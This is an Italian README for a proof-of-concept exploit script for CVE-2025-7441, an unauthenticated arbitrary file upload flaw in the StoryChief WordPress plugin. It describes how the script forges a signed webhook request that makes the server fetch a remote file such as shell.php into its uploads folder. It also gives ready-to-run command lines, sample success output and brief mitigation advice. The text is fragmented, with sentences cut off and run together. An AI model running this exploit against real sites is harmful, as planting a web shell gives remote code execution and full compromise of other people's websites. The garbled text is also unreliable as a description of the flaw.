
StoryChief <= 1.0.42 - Caricamento di File Arbitrario Non Autenticato
/wp-json/storychief/webhookdata.featured_image.data.sizes.full) e esegue una richiesta HTTP GET lato server su quell'URL senza una validazione sufficiente (nessuna whitelist di domini, controlli MIME/contenuto insufficienti, e i file vengono salvati in percorsi di upload pubblici).wp-content/uploads/YYYY/MM/<filename>). Se il file caricato può essere interpretato/eseguito dal server (ad esempio, un file PHP e il server ne consente l'esecuzione), ciò porta a esecuzione di codice remoto (RCE) e compromissione completa del sito.CVE-2025-7441)Questo script automatizza il tipico flusso di verifica dello sfruttamento della vulnerabilità:
data.featured_image.data.sizes.full.meta.mac.<site_url>/wp-json/storychief/webhook.<site_url>/wp-content/uploads///
Se il file risponde con HTTP 200, lo script riporta successo; altrimenti stampa <failed to upload>.
Lo script include i seguenti flag: --file-url, --verbose, --use-curl e --retries.
python3 CVE-2025-7441.py <site_url>
<site_url> — URL di base del sito di destinazione. Esempio: http://127.0.0.1:5000/ o https://target.example/--file-url — Sostituisce l'URL del file remoto predefinito utilizzato dal PoC. Predefinito: URL grezzo di GitHub hard-coded di esempio. Esempio: --file-url https://127.0.0.1:5000/zip.php--verbose — Abilita output dettagliato (stampa dettagli di richiesta/risposta e avanzamento del controllo).--use-curl — Usa il sottoprocesso curl per inviare la POST (modalità di fallback). Richiede curl installato.--retries — Numero di tentativi per verificare il percorso di upload previsto per il file. Predefinito: 1. Usa ad es. --retries 5 per eseguire più tentativi.python3 CVE-2025-7441.py http://127.0.0.1:5000/
Specifica un URL di file remoto personalizzato
python3 CVE-2025-7441.py http://127.0.0.1:5000/ --file-url https://example.com/shell.php
Output dettagliato e controlli multipli
python3 CVE-2025-7441.py http://127.0.0.1:5000/ --file-url https://example.com/shell.php --verbose --retries 5
Usa curl per inviare la POST
python3 CVE-2025-7441.py http://127.0.0.1:5000 --file-url https://example.com/shell.php --use-curl --verbose
Output:
[*] Target: https://127.0.0.1:5000
[*] file_url: https://127.0.0.1:5000/ZIP.php
[*] retries: 3
[*] use_curl: False
[+] computed hmac : 3f2a9b0e4d6c5a1f0b9d6e3c2a1f4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1
[*] Sending POST via requests...
[*] POST status: 200
[*] Response body (truncated):
{"permalink":"/wp-content/uploads/2025/10/ZIP.php","id":12345}
[*] Checking (1/3): https://127.0.0.1:5000/wp-content/uploads/2025/10/ZIP.php
[+] success! [+]
https://127.0.0.1:5000/wp-content/uploads/2025/10/ZIP.php
Mitigazione e Rimedio Breve termine:
/wp-json/storychief/webhook tramite WAF o regole del server.Guida per sviluppatori:
wp-content/uploads.